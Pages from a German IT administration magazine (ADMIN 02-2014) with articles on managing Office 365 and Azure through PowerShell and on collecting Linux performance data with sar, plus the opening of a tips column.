oder verwenden Sie die aktuelle offizielle<br />

Version von der Seite [5]. Achten<br />

Sie bei der Installation auch auf die korrekte<br />

Sprache. Beide Versionen können<br />

Sie nicht parallel auf einem Rechner betreiben.<br />

Sie müssen die andere Version<br />

immer deinstallieren (»appwiz.cpl«),<br />

bevor Sie den Nachfolger installieren.<br />

Starten Sie zum ersten Mal die Powershell<br />

als Administrator oder <strong>mit</strong> einer<br />

Verbindung zu Office 365 oder Windows<br />

Azure, müssen Sie noch die Ausführung<br />

der Skripte erlauben. Dazu geben Sie<br />

den Befehl »Set‐executionpolicy RemoteSigned«<br />

ein.<br />

Mit der Cloud verbinden<br />

Um die Commandlets zur Verwaltung<br />

von Office 365 zu importieren, geben<br />

Sie in der Powershell den Befehl »Import‐Module<br />

MSOnline« ein. Sie können<br />

den Befehl und später auch die Office-<br />

365-Commandlets natürlich auch in der<br />

Powershell-ISE verwenden. Da<strong>mit</strong> Sie<br />

<strong>mit</strong> den Commandlets auf Ihr Office-<br />

365-Abonnement zugreifen können,<br />

müssen Sie sich zuerst bei Office 365<br />

anmelden und authentifizieren. Dazu<br />

dient das Commandlet »Connect‐Msol-<br />

Service«. Im folgenden Anmeldefenster<br />

geben Sie die E-Mail-Adresse und das<br />

Kennwort eines Office-365-Administrators<br />

ein. Sie erhalten keine Rückmeldung<br />

über die erfolgreiche Verbindung.<br />

Das Commandlet zeigt aber Fehler an,<br />

falls der Verbindungsversuch scheitern<br />

sollte.<br />

Ausgabe 02-2014 Admin www.admin-magazin.de


Know-how<br />

Office 365<br />

75<br />

Ein Vorteil bei der Verwendung der<br />

Powershell-ISE ist die eingebaute<br />

Hilfe. Wenn Sie ein Commandlet eingeben,<br />

blendet das Programm bereits<br />

mögliche Befehle und Optionen ein<br />

(Abbildung 1). Die meisten Befehle für<br />

die Verwaltung von Office 365 in der<br />

Powershell enthalten die Zeichenfolge<br />

»msol«. Wollen Sie eine Liste der vorhandenen<br />

Commandlets zur Verwaltung<br />

von Office 365 anzeigen, erreichen<br />

sie das über »get‐command *msol*«.<br />

Die Anmeldedaten für Office 365 können<br />

Sie in einer Variablen speichern.<br />

Geben Sie dazu zum Beispiel »$aut =<br />

Get‐Credential« ein. Im anschließend<br />

erscheinenden Dialog geben Sie die Anmeldedaten<br />

ein, die in der Variable landen.<br />

Der Befehl »Connect‐MsolService<br />

‐Credential $aut« stellt dann wieder die<br />

Verbindung her.<br />

Überblick<br />

Mit der Powershell gelangen Sie wesentlich<br />

schneller an wichtige Informationen<br />

als in der grafischen Oberfläche.<br />

»Get‐MsolDomain« zeigt die Domänen<br />

an, die Sie in Ihrem Office-365-Abonnement<br />

verwenden. Sie sehen hier<br />

auch den Status der Domäne, also ob<br />

sie von Office 365 verifiziert ist und<br />

verwaltet wird. »Get‐MsolDomainVerificationDNS«<br />

fragt Daten zur Domäne<br />

ab. Wenn alles ok ist, erhalten Sie keine<br />

Rückmeldung. Wenn die Domäne <strong>mit</strong><br />

Ihrem Office-365-Abonnement nicht<br />

verbunden ist, erscheint eine Fehlermeldung.<br />

Sie können auch Domänen<br />

über die Powershell entfernen und<br />

Standarddomänen festlegen. Um<br />

Domänen zu löschen, müssen Sie zunächst<br />

die Standarddomäne ändern.<br />

Folgendes Beispiel zeigt die Änderungen:<br />

Set‐MsolDomain ‐Name contoso.U<br />

onmicrosoft.com ‐IsDefault<br />

Sobald Sie die Standarddomäne geändert<br />

habe, können Sie nicht mehr<br />

benötigte Domänen löschen:<br />

Remove‐MsolDomain ‐DomainName contoso.com<br />

Sie sollten aber niemals die Standarddomäne<br />

»Domäne.onmicrosoft.com«<br />

löschen, die teilweise<br />

von internen Diensten<br />

benötigt wird. Das<br />

gleiche gilt für »mail.<br />

Domäne.onmicrosoft.<br />

com«, die zum Beispiel<br />

vom Virenschutz<br />

Exchange Online Protection<br />

in Office 365<br />

verwendet wird. Das<br />

gilt auch bei Hybridbereitstellungen<br />

<strong>mit</strong><br />

Exchange 2010/​2013.<br />

Lizenzen<br />

Um Office 365 zu verwalten, müssen Sie<br />

erst einige wichtige Informationen zum<br />

entsprechenden Abonnement, den hinterlegten<br />

Benutzern und den gesetzten<br />

Einstellungen abrufen. Mit der wichtigste<br />

Punkt bei der Verwaltung von<br />

Office 365 sind <strong>sicher</strong>lich die Lizenzen.<br />

Diese verwalten Sie in der Weboberfläche<br />

im Bereich des Administrators über<br />

»Lizenzen«.<br />

In größeren Umgebungen können Sie<br />

die Verwaltung der Lizenzen delegieren,<br />

zum Beispiel an die Buchhaltung<br />

oder das Controlling. Das geht aber nur<br />

in größeren Editionen von Office 365.<br />

Dazu klicken Sie im Bereich »Lizenzen«<br />

auf »Einstellungen« und wählen<br />

»Benutzerverwaltungsadministrator«<br />

aus. Wählen Sie dort den Benutzer<br />

aus, der die Lizenzen verwalten soll.<br />

Dieser Benutzer kann dann auch in der<br />

Powershell die Lizenzen einsehen und<br />

verwalten. Mit der Powershell lassen<br />

sich zum Beispiel übersichtliche Tabellen<br />

anzeigen, was in der grafischen<br />

Oberfläche nicht geht. Alle verfügbaren<br />

Rollen in Ihrem Office-365-Abonnement<br />

und deren Funktion zeigen Sie in der<br />

Powershell <strong>mit</strong> »Get‐MsolRole« an.<br />

Denken Sie aber daran, dass die Benutzerrolle<br />

»Benutzerverwaltungsadministrator«<br />

weitere Rechte für die Benutzerverwaltung<br />

besitzt, zum Beispiel<br />

das Zurücksetzen von Kennwörtern.<br />

»Get‐MsolUser« kann Informationen Ihrer<br />

Benutzer anzeigen.<br />

Verwenden Sie, wie<br />

bei anderen Get-Commandlets<br />

auch, die<br />

Option »|ft«, erhalten<br />

Sie eine formatierte<br />

Abbildung 1: Die Powershell blendet bereits bei der Eingabe von Befehlen<br />

eine Hilfe ein.<br />

Tabelle, während »|fl« eine formatierte<br />

Liste anzeigt. Hinter der Option »|ft«<br />

oder »|fl« können Sie die Spalten festlegen,<br />

welche die Powershell anzeigen<br />

soll. Um zum Beispiel die lizenzierten<br />

Benutzer anzuzeigen, verwenden Sie<br />

den Befehl »get‐msoluser |ft UserPrincipalname,<br />

Displayname, *lic*« (Abbildung<br />

2). Mit der Option »‐Autosize«<br />

wird die Tabelle an das Fenster angepasst.<br />

In der Powershell können Sie aber auch<br />

das Lizenzmodell und die Office-365-<br />

Edition auslesen, die im Unternehmen<br />

eingesetzt wird. Hierfür verwenden<br />

Sie das Commandlet »Get‐MsolAccountSku«.<br />

Auch das Commandlet<br />

»Get‐MsolSubscription« zeigt weitere<br />

Informationen zum Abonnement an.<br />

Informationen zum Ansprechpartner,<br />

technischen E-Mails und weitere Daten<br />

erhalten Sie <strong>mit</strong> »Get‐MsolCompany-<br />

Information«. Um die Lizenzen eines<br />

bestimmten Benutzers zu verwalten,<br />

verwenden Sie:<br />

get‐msoluser ‐userprincipalnameU<br />

"UPN" | select licenses, islicensedU<br />

| fl<br />

Natürlich können Sie auch Lizenzen<br />

direkt zuweisen:<br />

set‐msoluserlicense ‐userprincipalnameU<br />

"UPN" ‐addlicenses "Lizenzname"<br />

Abbildung 2: In der Powershell können Sie die verwendeten Lizenzen<br />

Ihres Office-365-Abonnements anzeigen.<br />

www.admin-magazin.de<br />

Admin<br />

Ausgabe 02-2014


76<br />

Know-how<br />

Office 365<br />

Abbildung 3: In der Powershell stehen einige Befehle<br />

zur Verwaltung von Benutzern aus Office 365 zur<br />

Verfügung.<br />

Eine ausführliche Liste zu den Möglichkeiten<br />

von »Set‐MsolUserLicense«<br />

finden Sie in der Technet-Bibliothek [6].<br />

Informationen zum Batch-Ändern von<br />

Lizenzen bietet die Seite [7].<br />

Benutzer verwalten<br />

Neben den bereits erwähnten Commandlets<br />

gibt es weitere Befehle, <strong>mit</strong><br />

denen Sie Benutzer in Office 365 anlegen,<br />

verwalten und löschen können.<br />

Die wichtigsten Commandlets in diesem<br />

Bereich sind:<br />

n »New‐MsolUser« – Anlegen eines<br />

neuen Benutzers. Um zum Beispiel<br />

Abbildung 4: Anzeigen der verfügbaren Befehle für Microsoft Online<br />

Backup in der Powershell.<br />

einen neuen Benutzer <strong>mit</strong> einem<br />

kurzen Befehl anzulegen, verwenden<br />

Sie »New‐MsolUser ‐UserPrincipal-<br />

Name "E‐Mail‐Adresse" ‐Display-<br />

Name "Anzeigename"«. Das Commandlet<br />

erzeugt das Passwort und<br />

zeigt es an.<br />

n »Remove‐MsolUser« – das Commandlet<br />

löscht den Benutzer und<br />

gibt die zugewiesenen Lizenzen frei.<br />

Danach darf sich der Benutzer noch<br />

30 Tage lang anmelden.<br />

n »Restore‐MsolUser« – der ursprüngliche<br />

Status des Benutzers wird<br />

wiederhergestellt. Das funktioniert<br />

bis zu 30 Tage nach der Löschung.<br />

Sie können Postfächer aber auch<br />

endgültig löschen und so eine Wiederherstellung<br />

verhindern.<br />

n »Set‐MsolUser« – Aktualisieren eines<br />

Benutzers und Ändern seiner Einstellungen.<br />

n »Set‐MsolUserPassword «– Ändern<br />

des Kennwortes.<br />

Alle Commandlets zum Verwalten von<br />

Benutzern sehen Sie <strong>mit</strong> »get‐command<br />

*msoluser*« (Abbildung 3). Die<br />

zur Administration von Gruppen verfügbaren<br />

Befehle zeigt »get‐command<br />

*msolgroup*« an.<br />

Wollen Sie zum Beispiel festlegen, dass<br />

für einen Benutzer das Kennwort nie<br />

ablaufen soll, verwenden Sie den Befehl<br />

»Set‐MsolUser ‐UserPrincipalName<br />

Benutzername ‐PasswordNeverExpires<br />

$True«. Ohne diese<br />

Option muss der entsprechende<br />

Benutzer<br />

sein Kennwort alle<br />

90 Tage ändern. Mit<br />

»$False« machen Sie<br />

diese Option wieder<br />

rückgängig. Es ist auch<br />

möglich, die komplexen<br />

Kennwörter für<br />

einen Benutzer zu aktivieren.<br />

Dazu dient die<br />

Option »‐StrongPasswordRequired«:<br />

Set‐MsolUser U<br />

‐UserPrincipalName U<br />

Benutzername U<br />

‐StrongPasswordRequiredU<br />

$True<br />

Mit »$False« deaktivieren Sie die Funktion<br />

wieder.<br />

Wie erwähnt bleibt ein Benutzer 30<br />

Tage im Papierkorb erhalten, wenn<br />

man ihn löscht, und lässt sich aus dem<br />

Papierkorb auch <strong>mit</strong> »Restore‐Msol-<br />

User« wiederherstellen. Der folgende<br />

Befehl zeigt gelöschte Postfächer an,<br />

die sich wiederherstellen lassen:<br />

Get‐MsolUser ‐ReturnDeletedUsersU<br />

| fl UserPrincipalName, ObjectID<br />

Wollen Sie jetzt einzelne Benutzer endgültig<br />

löschen, verwenden Sie dessen<br />

»ObjectID«:<br />

Get‐MsolUser ‐Remove‐MsolUser U<br />

‐ObjectID GUID ‐RemoveFromU<br />

RecycleBin ‐Force<br />

Wollen Sie nicht nur einzelne Benutzer<br />

endgültig löschen, sondern alle Benutzer<br />

aus dem Papierkorb entfernen, geht<br />

das über:<br />

Get‐MsolUser ‐ReturnDeletedUsers |U<br />

Remove‐MsolUser ‐RemoveFromRecycleBinU<br />

‐Force<br />

Mit Exchange-<br />

Verwaltungsshell verbinden<br />

In vielen Umgebungen sind Office-365-<br />

Konten und lokale Exchange-Server<br />

parallel im Einsatz. Dann ist es sinnvoll,<br />

in der Powershell neben den Office-<br />

365-Commandlets auch die Befehle aus<br />

der Exchange-Verwaltungsshell nutzbar<br />

zu machen. Dazu speichern Sie die Anmeldedaten<br />

von Office 365 zunächst in<br />

einer Variablen:<br />

$cred = Get‐Credential<br />

Danach bauen Sie eine Verbindung zu<br />

Office 365 und zur Exchange-Verwaltungshell<br />

auf:<br />

$Session = New‐PSSession U<br />

‐ConfigurationName Microsoft.ExchangeU<br />

‐ConnectionUri https://ps.outlook.comU<br />

/powershell ‐Credential $cred U<br />

‐Authentication Basic ‐AllowRedirection<br />

Diese Daten importieren Sie <strong>mit</strong> »import‐PSSession<br />

$Session«.<br />

Ausgabe 02-2014 Admin www.admin-magazin.de


Know-how<br />

Office 365<br />

77<br />

Exchange Online Protection<br />

Microsoft bietet für lokale Exchange-<br />

Installationen und auch für Office 365<br />

den Cloud-Virenscanner Exchange<br />

Online Protection (EOP) an. Das ist der<br />

Nachfolger von Forefront Online Protection<br />

for Exchange (FOPE). In Office<br />

365 ist Exchange Online Protection<br />

automatisch aktiv. Das heißt, ein- und<br />

ausgehende E-Mails werden nach<br />

Viren und Spam gescannt. Setzen Sie<br />

zusätzlich noch lokale Exchange-Server<br />

ein, können Sie die E-Mails der lokalen<br />

Server zu Office 365 senden, dort nach<br />

Viren scannen lassen und dann weiterversenden.<br />

Das funktioniert auch in Exchange<br />

Server 2013 und dem integrierten<br />

Virenscanner in Exchange 2013 – in<br />

beide Richtungen.<br />

Folgender Befehl sorgt dafür, dass<br />

Exchange Server 2013 E-Mails scannt,<br />

nachdem Exchange Online Protection<br />

die E-Mails gescannt hat:<br />

Set‐MalwareFilteringServer U<br />

‐ForceRescan $true<br />

Um den Wert zu überprüfen, geben Sie<br />

den folgenden Befehl ein:<br />

Get‐MalwareFilteringServer |U<br />

Format‐List Name, ForceRescan<br />

Die Umleitung zwischen Exchange<br />

und Office 365 wird vom MX-Eintrag<br />

der Domäne gesteuert. Der Assistent<br />

zur Anbindung von Office 365 an lokale<br />

Exchange-Installationen fügt<br />

der Exchange-Organisation eine zusätzliche,<br />

akzeptierte Domäne für die<br />

Hybridnachrichtenüber<strong>mit</strong>tlung hinzu.<br />

Diese Domäne wird als sekundäre<br />

Proxydomäne hinzugefügt. Standardmäßig<br />

ist das die Domäne »Domäne.<br />

mail.onmicrosoft.com«. Sie können die<br />

akzeptierte Domäne <strong>mit</strong> folgendem Befehl<br />

anzeigen:<br />

Get‐AcceptedDomain | FL DomainName, U<br />

IsCoexistenceDomain<br />

In der Exchange-Verwaltungsshell zeigen<br />

Sie die Einstellungen <strong>mit</strong> »Get‐HybridConfiguration«<br />

an.<br />

Sie können aber nicht nur die Office-<br />

365-Dienste in der Powershell verwalten,<br />

sondern auch die anderen Cloud-<br />

Dienste von Microsoft, wie zum Beispiel<br />

Windows Azure. Die Installationsdatei<br />

für die Verwaltung von Windows Azure<br />

in der Powershell finden Sie auf der<br />

Seite [8]. Nach der Installation importieren<br />

Sie die Commandlets <strong>mit</strong> »Import‐Module<br />

Azure«. Bevor Sie Azure<br />

<strong>mit</strong> der Powershell verwalten können,<br />

müssen Sie den PC anpassen, da<strong>mit</strong> er<br />

sich <strong>mit</strong> Windows Azure verbindet.<br />

Geben Sie zuerst »Get‐AzurePublishSettingsFile«<br />

ein und melden Sie<br />

sich an Windows Azure an. Laden Sie<br />

die Datei herunter, die der Assistent<br />

dann anzeigt. Geben Sie den Befehl<br />

»Import‐AzurePublishSettingsFile<br />

Publishsettings‐Datei« gefolgt von<br />

»Get‐AzureSubscription« ein.<br />

Mit Windows Azure Backup bietet<br />

Microsoft einen Dienst an, <strong>mit</strong> dem<br />

Unternehmen Daten von Servern in<br />

der Cloud <strong>sicher</strong>n können. In der Powershell<br />

lassen Sie sich die verfügbaren<br />

Commandlets von Windows Azure<br />

Backup <strong>mit</strong> »get‐command *ob*«<br />

anzeigen (Abbildung 4). Alternativ verwenden<br />

Sie den Befehl »get‐command<br />

‐module MSOnlineBackup«. Mehr Informationen<br />

zu Azure Backup sind in<br />

einem Artikel im letzten <strong>ADMIN</strong>-Heft zu<br />

finden [9].<br />

Fazit<br />

Mit der Powershell bietet Microsoft eine<br />

leistungsfähige Shell <strong>mit</strong> vielen Möglichkeiten<br />

zur Verwaltung lokaler Server<br />

an. Neben den Standard-Betriebssystemen<br />

von Microsoft unterstützen<br />

alle aktuellen Server-Anwendungen<br />

wie Exchange, SQL, SharePoint, Lync<br />

die Verwaltung über die Powershell.<br />

Sind im Unternehmen zusätzlich noch<br />

Cloud-Dienste wie Windows Azure und<br />

Office 365 im Einsatz, bietet es sich an,<br />

auch diese in der Powershell zu verwalten.<br />

Der Vorteil dabei liegt auf der<br />

Hand: Administratoren können lokale<br />

Server und in der gleichen Sitzung auch<br />

Cloud-Dienste verwalten. Außerdem<br />

sind viele Möglichkeiten und Funktionen<br />

in der Power shell wesentlich<br />

schneller und einfacher zu lösen als in<br />

Weboberflächen.<br />

Wer sich etwas <strong>mit</strong> Skripting auseinandersetzt,<br />

kann darüber hinaus auch<br />

n Info<br />

Weiterführende Links und<br />

Informationen zu diesem<br />

Artikel finden Sie unter:<br />

www.admin-magazin.de/qr/31644<br />

[1] Microsoft-Online-Services-Anmelde-Assistent:<br />

[http:// www. microsoft. com/ de‐de/​<br />

download/ confirmation. aspx? id=39267]<br />

[2] Azure-AD-Modul (32 Bit): [http:// go. microsoft.​<br />

com/ fwlink/ p/ ? linkid=236298]<br />

[3] Azure-AD-Modul (64 Bit): [http:// go. microsoft.​<br />

com/ fwlink/ p/ ? linkid=236297]<br />

[4] Office-365-Anmeldung: [https:// portal.​<br />

microsoftonline. com/ OLS/ MySoftware. aspx]<br />

[5] Microsoft Online Services Sign-In Assistant for IT<br />

Professionals RTW:<br />

[http:// www. microsoft. com/ en‐gb/​<br />

download/ details. aspx? id=28177]<br />

[6] Set-MsolUserLicense: [http:// technet.​<br />

microsoft. com/ en‐us/ library/ dn194094. aspx]<br />

[7] Office-365-Lizenzen <strong>mit</strong> PowerShell ändern:<br />

[http:// blogs. technet. com/ b/ austria/ archive/​<br />

2013/ 04/ 28/ office‐365‐lizenzen‐<strong>mit</strong>‐powersh<br />

ell‐228‐ndern. aspx]<br />

[8] Azure-Downloads:<br />

[https:// www. windowsazure. com/ en‐us/​<br />

manage/ downloads]<br />

[9] Thomas Joos, Windows Azure Backup,<br />

<strong>ADMIN</strong> 01/​2014: [http:// www.​<br />

admin‐magazin. de/ Das‐Heft/ 2014/ 01/​<br />

Windows‐Azure‐Backup‐<strong>nutzen</strong>]<br />

umfassende Skripte für die Verwaltung<br />

von Diensten schreiben. Diese Skripte<br />

können auch Änderungen parallel in<br />

lokalen und in Cloud-Diensten durchführen.<br />

Da Microsoft die Erweiterungen<br />

für die Powershell gratis zur Verfügung<br />

stellt, sollten sich Administratoren <strong>mit</strong><br />

den Möglichkeiten auch auseinandersetzen.<br />

Nach wenig Einarbeitung lassen<br />

sich <strong>mit</strong> der Powershell viele Dienste –<br />

auch in der Cloud – schnell und einfach<br />

verwalten. (ofr) n<br />

n Autor<br />

Thomas Joos ist freiberuflicher IT-Consultant und<br />

seit über 20 Jahren in der IT tätig. Neben seinen<br />

Projekten schreibt er praxisnahe Fachbücher und<br />

Fachartikel rund um Windows und andere Microsoft-<br />

Themen. Online trifft man ihn unter [http://​<br />

thomasjoos. spaces. live. com].<br />

www.admin-magazin.de<br />

Admin<br />

Ausgabe 02-2014


78<br />

Basics<br />

Sar<br />

Performance-Werte über längere Zeit sammeln und auswerten<br />

Der Buchhalter<br />

des Systems<br />

Für eine Momentaufnahme der System-Performance bieten sich etliche Tools an: Angefangen bei »top«<br />

oder »uptime« bis zu »iostat«, »netstat« und »mpstat«. Was aber, wenn man von einem Engpass erst erfährt,<br />

nachdem er sich ereignet hat? Für »sar« ist auch das kein Problem. Jens-Christoph Brendel<br />

Sar, <strong>mit</strong> vollem Namen System Activity<br />

Reporter, ist ein eher unscheinbares<br />

kleines Kommandozeilentool, das<br />

ursprünglich aus der System-V-Welt<br />

stammt, aber für das Troubleshooting<br />

oder Systemtuning unter Unix/​Linux<br />

auch heute unverzichtbar ist. Seine<br />

Besonderheit: Sar gibt nicht nur Adhoc-Auskünfte<br />

über viele Performance-<br />

Werte, es sammelt diese Daten auch<br />

unaufhörlich und sortiert sie in tageweise<br />

organisierte binäre Logs ein.<br />

Davon hebt sich Sar standardmäßig<br />

sieben Stück auf, kann sich aber auch<br />

einen Monat merken. Unter manchen<br />

Betriebssystemen wie Ubuntu sind<br />

auch noch länger zurückreichende<br />

Archive möglich. So lassen sich für<br />

jeden Zeitpunkt einer zurückliegenden<br />

Periode auch im Nachhinein die<br />

CPU-Auslastung oder der freie Hauptspeicherplatz,<br />

die Anzahl übertragener<br />

Netzwerkpakete oder die Geschwindigkeit<br />

des Disk-I/​Os er<strong>mit</strong>teln.<br />

Installation<br />

Sar ist in den Repositories aller namhaften<br />

Linux-Distributionen enthalten,<br />

das Paket heißt in der Regel »sysstat«.<br />

Neben dem Binary werden dabei etliche<br />

Skripte und Cron-Einträge installiert.<br />

Im Einzelnen sind das<br />

n »sar«: Das Sar-Kommando dient der<br />

Anzeige der gesammelten Werte.<br />

n »sadc«: Der System Activity Data<br />

Collector ist der eigentliche Datensammler,<br />

der eine vorgegebene<br />

Sergey Nivens, 123RF<br />

Ausgabe 02-2014<br />

Admin<br />

www.admin-magazin.de


Basics<br />

Sar<br />

79<br />

Anzahl Stichproben in bestimmten<br />

Intervallen nimmt.<br />

n »sa1«: Dieses Shellskript ist ein<br />

Wrapper für »sadc«, der ihm verschiedene<br />

Parameter übergeben<br />

kann und die zurückgelieferten Daten<br />

in das richtige binäre Log leitet.<br />

Die Logfiles liegen meist unter<br />

»/var/log/sa« oder »/var/log/sysstat«<br />

(Ubuntu) und heißen immer »sadd«,<br />

wobei dd die Nummer des Tages<br />

im Monat ist. Das Skript wird in<br />

der Regel alle 10 Minuten von Cron<br />

aufgerufen. Natürlich kann man das<br />

Intervall anpassen, wenn man mehr<br />

oder weniger Werte braucht.<br />

n »sa2«: Dieses Shellskript rotiert<br />

das tägliche Log und komprimiert<br />

auf Wunsch ältere Logs. Sa2 startet<br />

Cron-gesteuert einmal täglich.<br />

n »sadf«: Ist ebenfalls ein Ausgabeprogramm,<br />

diesmal speziell für den Datenaustausch.<br />

Sadf kann die gesammelten<br />

Daten in diversen Formaten<br />

aufbereiten: Etwa als Datenbank-<br />

Record oder als CSV- oder XML-Datei.<br />

Nach der Paketinstallation ist »sar« unter<br />

RHEL/​CentOS sofort einsatzbereit,<br />

unter Debian/​Ubuntu muss man zuerst<br />

noch in »/etc/default/sysstat« die Variable<br />

»ENABLED« auf »true« setzen.<br />

Damals und jetzt<br />

Das Ausgabeprogramm Sar kann man<br />

auf verschiedene Weise aufrufen. Gene-<br />

Abbildung 1: Frei gestaltbare und online zoombare Grafiken sind die Spezialität von KSar.<br />

rell gibt man dazu an erster Stelle einen<br />

oder mehrere Schlüsselbuchstaben<br />

an, die bestimmen, welche Werte ausgegeben<br />

werden sollen (Tabelle 1). Die<br />

Bedeutung der Einzelwerte erläutert<br />

die Manpage zu »sar«.<br />

n Listing 1: »sar« <strong>mit</strong> Intervall und Anzahl<br />

01 jcb@hercules:# sar ‐q 10 2<br />

Alle diese Werte können sofort abgefragt<br />

werden. Dabei kann man zusätzlich<br />

ein Intervall für die Abfragen und<br />

eine maximale Anzahl von Abfragen<br />

einstellen. Will man etwa zwei Werte für<br />

die CPU-Auslastung im 10-Sekunden-<br />

02 Linux 3.5.0‐44‐generic (hercules) 03.12.2013 _x86_64_ (2 CPU)<br />

03 <br />

04 09:46:03 runq‐sz plist‐sz ldavg‐1 ldavg‐5 ldavg‐15 blocked<br />

05 09:46:13 1 468 0,02 0,06 0,14 0<br />

06 09:46:23 0 468 0,01 0,06 0,14 0<br />

07 Durchschnitt: 0 468 0,01 0,06 0,14 0


80<br />

Basics<br />

Sar<br />

n Listing 2: »sar« <strong>mit</strong> Log- und Zeit-Vorgabe<br />

01 jcb@hercules:# sar ‐u ‐f /var/log/sysstat/sa02 ‐s 12:00:00 ‐e 13:00:00<br />

02 Linux 3.5.0‐43‐generic (hercules) 02.12.2013 _x86_64_ (2 CPU)<br />

03 <br />

04 12:05:01 CPU %user %nice %system %iowait %steal %idle<br />

05 12:15:01 all 2,08 0,00 0,96 0,02 0,00 96,94<br />

06 12:25:01 all 1,96 0,00 0,82 0,06 0,00 97,16<br />

07 12:35:01 all 1,22 0,00 0,73 0,00 0,00 98,05<br />

08 12:45:01 all 1,32 0,00 0,72 0,01 0,00 97,95<br />

09 12:55:01 all 1,79 0,00 0,75 0,05 0,00 97,41<br />

10 Durchschnitt: all 1,67 0,00 0,80 0,03 0,00 97,5<br />

n Info<br />

Turnus sehen, stellt man es so an wie in<br />

Listing 1. Mit der Option »‐f« kann man<br />

noch ein Tages-Log vorgeben, aus dem<br />

die Werte zu beziehen sind. Nimmt man<br />

dazu noch »‐s« und »‐e« für eine Startund<br />

Endzeit, lassen sich beliebige Perioden<br />

spezifizieren (Listing 2).<br />

Manche Implementierungen (beispielsweise<br />

unter SunOS) kennen außerdem<br />

ein »timex«-Kommando, dass Sar-<br />

Statistiken parallel zur Laufzeit eines<br />

anzugebenden Programms sammeln<br />

kann, etwa<br />

timex ‐s make bigprogram<br />

Unter Linux ist diese Spezialität allerdings<br />

nicht verfügbar.<br />

Auswertungen<br />

Hat man einmal eine solche Fülle von<br />

Performance-Daten zusammen, wie sie<br />

»sar« ja automatisch sammelt, dann<br />

bietet es sich natürlich an, sie unter<br />

verschiedenen Kriterien auszuwerten<br />

und auch zu visualisieren. Im einfachsten<br />

Fall gelingt das <strong>mit</strong> einer Spreadsheet-Software<br />

aus einem Office-Paket,<br />

alternativ eignet sich auch gnuplot<br />

gut. Darüber hinaus gibt es aber auch<br />

etliche spezialisierte Programme für<br />

diesen Zweck.<br />

Weiterführende Links und<br />

Informationen zu diesem<br />

Artikel finden Sie unter:<br />

www.admin-magazin.de/qr/31679<br />

[1] KSar: [http:// sourceforge. net/ projects/ ksar]<br />

[2] SarCheck: [http:// www. sarcheck. com/ de]<br />

Ein solches Programm ist »KSar« [1].<br />

Die Java-Anwendung lässt sich unter<br />

anderem <strong>mit</strong> einem Sar-Kommando<br />

und Logfile aufrufen<br />

root@hercules:# java ‐jar kSar.jar U<br />

‐input 'cmd:///usr/bin/sar U<br />

‐dwu ‐f /var/log/sysstat/sa02'<br />

und produziert daraus dann automatisch<br />

Grafiken wie Abbildung 1. Die<br />

Graphen lassen sich interaktiv zoomen,<br />

die Farben und Hintergründe sind frei<br />

wählbar. Das Ergebnis ist als PDF-Datei<br />

und in verschiedenen Grafikformaten<br />

exportierbar. Anstelle eines Logfiles<br />

kann man auch ein SSH-Kommando<br />

angeben, dass die Daten von einem<br />

entfernten Rechner besorgt.<br />

Einen Schritt weiter geht das allerdings<br />

kostenpflichtige Tool SarCheck [2].<br />

n Tabelle 1: Sar-Schlüssel<br />

Key<br />

A<br />

b<br />

B<br />

C<br />

d<br />

h<br />

H<br />

I<br />

n<br />

P<br />

q<br />

R<br />

S<br />

u<br />

v<br />

w<br />

y<br />

Obzwar schon seit 1994 am Start, ist<br />

die Linux-Version immer noch in Entwicklung.<br />

Kaufen kann man momentan<br />

nur Versionen für Solaris, HP-UX und<br />

AIX. Die Betatests der Linux-Ausgabe<br />

sollen nach Herstellerangaben aber<br />

vielversprechend verlaufen.<br />

SarCheck zeichnet nicht nur Diagramme,<br />

sondern führt eine komplette<br />

Ressourcen-Analyse durch und erkennt<br />

automatisch CPU- und I/​O-Flaschenhälse,<br />

aus dem Ruder gelaufene<br />

Prozesse, falsche I/​O-Lastverteilung,<br />

langsame Festplatten, Speicher-Flaschenhälse<br />

und Speicherlecks, falsche<br />

Systempuffergrößen und falsche Systemtabellengrößen.<br />

SarCheck operiert dafür <strong>mit</strong> Schwellwerten<br />

für alle gemessenen Parameter<br />

und gibt aktiv gezielte Tuning-Empfehlungen.<br />

Fazit<br />

Sar ist ein äußerst nützlicher und<br />

vielseitiger Datensammler, der nicht<br />

nur Momentanwerte anzeigen kann,<br />

sondern über Wochen Statistiken führt<br />

und hernach zu jedem Zeitpunkt aus<br />

der Beobachtungsperiode auskunftsbereit<br />

ist. Zusatzprogramme wie KSar<br />

machen seine Aussagen als Graphen<br />

anschaulich, SarCheck nutzt sie sogar<br />

für eine ausgewachsene Systemdiagnose.<br />

n<br />

Funktion<br />

Gibt alles aus. Äquivalent zu<br />

‐bBdHqrRSuvwWy ‐I SUM ‐I XALL ‐m ALL ‐n ALL ‐u ALL ‐P ALL<br />

I/​O-Statistiken und Transferraten<br />

Paging-Statistiken<br />

Kommentare <strong>mit</strong> ausgeben, die Sadc eingefügt hat.<br />

Aktivitäten aller Block-Devices<br />

Hilfetext ausgeben<br />

Hugepages Utilization Statistics<br />

Statistiken für anzugebenden Interrupt<br />

Zusammen <strong>mit</strong> einem weiteren Schlüsselwort oder ALL: Netzwerkstatistik<br />

Prozessor-Statistiken<br />

Länge der Run-Queue und Load Average<br />

Memory-Statistik<br />

Swap-Space-Auslastung<br />

CPU-Auslastung<br />

Status einiger Kernel-Tabellen etwa zu Inodes und Files<br />

Task-Creation- und Task-Wechsel-Aktivität<br />

TTY-Aktivitäten<br />

Ausgabe 02-2014 Admin www.admin-magazin.de


82<br />

Basics<br />

<strong>ADMIN</strong>-Tipps<br />

Die Tipps des Monats<br />

<strong>ADMIN</strong>-Tipps<br />

Pavel Ignatov, 123RF<br />

Hier finden Sie eine Auswahl der im wöchentlichen <strong>ADMIN</strong>-Newsletter erscheinenden Praxistipps.<br />

n Lohnen Enterprise-Platten?<br />

Brian Beach vom Online-Backup-Anbieter Blacklaze hat untersucht, ob<br />

sich die angeblich langlebigeren, aber viel teueren Enterprise-Festplatten<br />

tatsächlich lohnen. Sein Blog-Eintrag [1] enthüllt Bemerkenswertes. Die Berechnungsgrundlage<br />

der Betrachtung waren Laufwerksjahre, also die Anzahl<br />

der Drives multipliziert <strong>mit</strong> ihrem Alter. Eine einzelne Festplatte bringt<br />

es so nach einem Jahr Einsatzzeit auf ein Drive Year.<br />

Der Backup-Anbieter hatte 14719 Laufwerksjahre an Consumer-Festplatten<br />

in seinem Storage verbaut und verzeichnete unter diesen Disks 613 Ausfälle.<br />

Zusätzlich steckten in zentralen Servern und einem Speicher von EMC<br />

386 Laufwerksjahre an Enterprise-Festplatten, von denen 17 ersetzt werden<br />

